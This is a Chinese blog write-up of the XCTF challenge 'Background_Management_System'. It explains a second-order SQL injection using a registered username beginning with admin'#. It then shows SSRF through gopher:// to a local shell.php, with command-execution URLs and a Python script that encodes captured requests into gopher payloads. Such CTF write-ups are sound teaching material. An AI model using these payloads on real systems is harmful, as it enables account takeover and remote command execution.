攻防世界 Background_Management_System Writeup

攻防世界 Background_Management_System Writeup

个人做题思路以及过程总结

超详细思路过程

1.目测

首先打开看到提示是个管理系统,提示是1.网站管理员 2.不在数据库里面,尝试admin'or 1=1#万能密码登陆。失败,随便注册一个用户登陆进去,看要求是管理登陆就会得到hint(提示)。

2.扫描

对网站进行敏感目录扫描。有www.zip得到源码,数据库用户名密码遮住了,看来是要进行代码审计,目录下还有shell.php的php,不过限制了内网,可能是有ssrf。

3.代码审计

先对登陆进行审计过滤了很多Mysql函数,网站有三个功能与数据库相关,挨个研究,研究到修改密码功能

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

假如我们修改的是admin'#用户的密码,这句sql就变成了

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass' ";

后半部分注释掉

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'

所以我们需要注册一个用户名admin'#开头的用户,然后登陆修改密码,同时也就修改了admin的密码,可以登陆。

4.端口扫描

登陆拿到hint 提示的ssrf页面,ssrf对很多协议进行了过滤,只有gopher可以,经过对端口扫描测试,有80和3306端口,gopher80端口可以直接利用shell.php,顺便学习了一下gopher与mysql https://www.cnblogs.com/Zhu013/p/12505090.html

5.Gopher GET/POST

gopher要对符号进行二次url编码,

注意:‘?’一定要二次编码  system 系统命令 空格用+替代,也可以url编码成%2b

比如访问exp.php?cmd=ls

gopher://127.0.0.1:80/exp.php%253fcmd=ls

gopher://127.0.0.1:80/exp.php%253fcmd=ls+../

 

用wiresharke 或者burp 抓到原始包   保存为burp.txt

#coding:utf-8
from urllib import quote

def hex():
    #post 数据 
    f = open('post.txt')
    post = f.read()
    s = post.encode('hex')
    return s
def results(s):
    a=[s[i:i+2] for i in xrange(0,len(s),2)]
    return "gopher://127.0.0.1:80/_%"+"%".join(a)


if __name__=="__main__":

    results = results(hex())
    # print(results)
    # url访问需再次编码
    url = quote(results)
    print(url)

 

踩坑和经验

1.

提示是1.网站管理员 2.不在数据库里面(一定要听,反向思维搞了半天,结果就在文件里)

2.

由于不熟悉TP框架发现个文件convention.php里面的数据库配置是root和空密码以为是ssrf mysql,不过小白是按需学习,反正都不会,不亏.

3.

 经验:内网扫端口,可以用burp爆破端口,大概就是看返回报大小判断内容。

4.

gopher GET/POST

posted @ 2020-04-22 11:23  Zhu013  阅读(904)  评论(0编辑  收藏  举报